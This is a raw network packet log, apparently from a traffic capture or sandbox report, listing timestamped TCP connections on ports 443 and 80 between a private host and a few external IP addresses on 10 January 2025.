Jan 10, 2025 20:49:57.933923006 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933931112 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933949947 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933974028 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934372902 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934387922 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934443951 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934451103 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934473991 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934505939 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934763908 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934779882 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934833050 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934840918 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934900999 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934900999 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934911966 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934931993 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934959888 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934964895 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.934988022 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.934988976 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935005903 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935009956 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935024023 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935039043 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935062885 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935076952 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935082912 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935118914 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935123920 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935147047 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.935189009 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935220003 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935376883 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.935395002 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:58.815028906 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 20:49:59.118833065 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 20:49:59.693876028 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:49:59.725044966 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 20:50:00.933851957 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 20:50:03.336406946 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 20:50:04.271651030 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:04.271675110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:04.271764040 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:04.277060986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:04.277075052 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:04.743870020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:04.743957996 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:04.746324062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:04.746335030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:04.746599913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:04.756458998 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:04.799326897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062421083 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062463999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062491894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062520027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062540054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062581062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.062587023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062602043 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.062679052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.062679052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.062829018 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.063126087 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.063143015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.067127943 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.067337990 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.067353010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.116055965 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.149243116 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149307013 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149336100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149362087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149390936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149410009 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.149410009 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.149427891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149699926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149708033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.149718046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.149779081 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.149785995 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.150098085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.150126934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.150156975 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.150166988 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.150233030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.150274038 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.150280952 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.150331974 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.151021004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.151082993 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.151103973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.151141882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.151149035 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.151200056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.151262999 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.151272058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.151329994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.152051926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.152097940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.152132034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.152173042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.152247906 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.152247906 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.152272940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.163839102 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:50:05.196070910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.236063004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.236212015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.236258030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.236314058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.236314058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.236331940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.236782074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.236809015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.236840010 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.236849070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.237268925 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.237436056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.237488031 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.237515926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.237694979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.237725973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.237768888 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.237776995 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.237806082 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.238497972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.238622904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.238650084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.238677025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.238692999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.238714933 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.238785982 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.238785982 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.239499092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.239536047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.239556074 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.239563942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.239670038 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.239670038 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.240211964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.240294933 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.240335941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.240374088 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.240401983 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.240410089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.240453005 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.241189003 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.241365910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.241373062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.241467953 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.324605942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324652910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324706078 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324740887 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324757099 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.324757099 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.324776888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324788094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324902058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324932098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.324965954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325030088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325030088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325030088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325030088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325031042 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325051069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325191021 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325387955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325417042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325541019 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325573921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325603962 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325615883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325615883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325615883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325615883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325615883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.325630903 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.325661898 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326215982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326232910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326232910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326232910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326242924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326508999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326622009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326695919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326704025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326704025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326704025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326704025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326715946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326735020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326762915 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326874018 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326905966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326940060 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.326950073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326950073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326950073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326950073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326950073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.326961994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.327729940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.327763081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.329391003 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.329391003 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.329391003 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.329405069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.371871948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.409780979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.409836054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.409903049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.409925938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.409945011 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.410084963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.410100937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.410178900 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.410191059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.410696983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.410712957 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.410887957 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.410906076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.411022902 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.411022902 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.411035061 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.411097050 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.414680958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.414695978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.414786100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.414796114 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415043116 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.415122032 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415138006 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415272951 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.415280104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415360928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.415580988 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415597916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415652990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415680885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415689945 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.415697098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.415755033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.415774107 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.496661901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.496689081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.496843100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.496843100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.496850014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.496865988 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.496886015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.496931076 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.496943951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.496990919 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.497004986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.497199059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497215033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497432947 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497472048 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497555971 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.497555971 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.497555971 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.497567892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497673988 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497689009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.497764111 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.497771978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498147964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498167038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498245955 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.498255014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498320103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498334885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498450994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.498450994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.498460054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498590946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498611927 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498651981 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.498658895 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.498691082 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.545963049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.589355946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589380980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589461088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.589485884 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589616060 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.589704990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589720964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589915037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.589921951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589932919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.589956999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590030909 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590030909 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590038061 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590073109 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590086937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590109110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590162992 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590168953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590193987 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590249062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590270042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590280056 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590291977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590325117 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590329885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590349913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590370893 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590370893 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590380907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590420008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590451002 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590723991 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590739012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590804100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590810061 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590882063 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.590964079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.590981960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.591015100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.591022968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.591061115 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.591061115 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676060915 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676090956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676181078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676199913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676214933 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676250935 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676250935 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676254034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676275969 CET	443	49803	188.114.96.3	192.168.2.17
